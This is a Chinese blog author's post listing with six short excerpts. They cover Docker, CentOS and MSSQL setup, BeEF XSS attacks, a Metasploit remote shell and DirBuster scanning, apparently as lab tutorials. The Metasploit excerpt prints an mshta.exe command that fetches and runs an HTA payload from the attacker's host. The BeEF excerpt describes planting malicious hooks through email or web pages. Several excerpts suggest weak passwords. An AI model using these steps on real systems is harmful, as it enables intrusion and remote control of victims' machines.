- 博客(6)
- 收藏
- 关注
RSS订阅原创 docker安装
Docker的主要目标是“Build，Ship and Run Any App,Anywhere”，也就是通过对应用组件的封装、分发、部署、运行等生命周期的管理，使用户的APP（可以是一个WEB应用或数据库应用等等）及其运行环境能够做到。就像是Java中的类和实例对象一样，镜像是静态的定义，容器是镜像运行时的实体。将应用打成镜像，通过镜像成为运行在Docker容器上面的实例，而 Docker容器在任何操作系统上都是一致的，这就实现了跨平台、跨服务器。环境配置相当麻烦，换一台机器，就要重来一次，费力费时。
2023-10-05 10:49:54
39
原创 基于Vmware部署centos操作系统(云计算部分)
1.基于 Linux 内核的 CentOS-7-x86_64-Minimal-1810.iso 操作系统。2.虚拟机 VMware Workstation Pro。5.选择客户机操作系统（Linux centos 64）6.更改虚拟机名称（不安装在C盘）10.选择I/0控制器类型。4.稍后安装操作系统。
2023-09-16 16:49:30
74
1
原创 利用BeEF 执行 XSS 攻击
（1）从BeEF 安装目录中启动它（注意：新的 BeEF 启动前会强制新用户设定密码，可以在终端设立为：123456，或者可以在配置文件 “/usr/share/beef-xss/config.yaml”或"/etc/beef-xss/config.yaml"修改默认账号密码！（类似BEEF的工具，先生成“钩子”（恶意文件），通过发邮件或者恶意网页的方式，将钩子放入靶机，靶机一旦执行，就会上钩）6.访问https://github.com/ethicalhack3r/DVWA，下载压缩包。
2023-06-26 16:50:18
60
1
原创 MSSQL数据库系统
由于微软和Linux的紧密的联系的建立,Linux系统管理员如果想始终保持在他们的事业顶端，需要有关于MS SQL Server的渊博知识。我们这次用的是mssql-server-preview/下的mssql-server-15.0.1100.94-1.x86_64.rpm。4.选择开发版2和简体中文10，并输入sa(mssql的系统管理账号)用的较复杂密码两遍（建议用Aa123456)mssql-tools安装目录加入系统路径(未关机生效）。1.进入安装目的目录/opt/mssql/bin/
2023-06-26 14:43:01
1559
1
原创 使用Metasploit 获取远程 shell
MSF高度模块化，即框架由多个module组成，是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode，并持续保持更新。（5）mshta.exe是用于负责解释运行HTA文件的Windows OS实用程序·可以运行javascript或VBScript的HTML文件，在win7靶机中打开cmd窗口。输入命令：mshta.exe http://192.xxx.xx.xx（kali的IP）:8888/xxx(hta文件名).hta。Metasploit 的远程控制模块。
2023-06-23 23:34:43
266
1
原创 使用DirBuster寻找敏感文件和目录
是一种履带式和粗暴式的混合物，它遵循它找到的页面中的所有链接，但也为可能的文件尝试不同的名称。这些名称可能位于与使用的文件类似的文件中，也可能由Dirbuster使用Pure Brute Force选项自动生成，并设置字符集以及生成的单词的最小和最大长度。大多数操作系统（包括DOS及Windows）中dir命令基本上会列出目录中的文件及子目录的名称，也可以列出其文件大小，创建时间等相关信息，并且列出所在的磁盘、可用空间等信息。随后browse选择字典文件，可用自己的，也可用dirbuster自己的。
2023-05-31 23:38:50
72
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人